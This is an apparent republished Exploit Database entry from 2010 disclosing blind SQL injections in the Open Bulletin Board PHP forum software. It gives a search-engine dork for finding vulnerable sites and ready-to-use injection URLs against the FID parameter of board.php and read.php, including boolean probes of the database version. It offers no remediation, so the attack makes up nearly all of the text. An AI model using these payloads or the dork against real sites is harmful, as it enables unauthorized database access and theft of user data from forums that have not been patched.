Open Bulletin Board – Multiple Blind SQL Injections

• Exploit Database
• 37 阅读

• 作者： AtT4CKxT3rR0r1ST
  日期： 2010-02-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11336/

• Open Bulletin Board Multiple Blind Sql Injection Vulnerability
  ==============================================================
  
  ####################################################################
  .:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
  .:. Team : Sec Attack Team
  .:. Home : www.sec-attack.com/vb
  .:. Script : Open Bulletin Board
  .:. Bug Type : Blind Sql Injection
  .:. Dork : intitle:"Powered by Open Bulletin Board"
  
  ####################################################################
  
  ===[ Exploit ]===
  
  www.site.com/board.php?FID=[Blind Injection]
  www.site.com/read.php?FID=[Blind Injection]
  
  
  www.site.com/board.php?FID=3+and+1=1 >>> True
  www.site.com/board.php?FID=3+and+1=2 >>> False
  www.site.com/board.php?FID=3+and+substring(@@version,1,1)=5 >>> True
  www.site.com/board.php?FID=3+and+substring(@@version,1,1)=4 >>> False
  
  
  www.site.com/read.php?FID=3+and+1=1 >>> True
  www.site.com/read.php?FID=3+and+1=2 >>> False
  www.site.com/read.php?FID=3+and+substring(@@version,1,1)=5 >>> True
  www.site.com/read.php?FID=3+and+substring(@@version,1,1)=4 >>> False
  
  ####################################################################
  
  Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack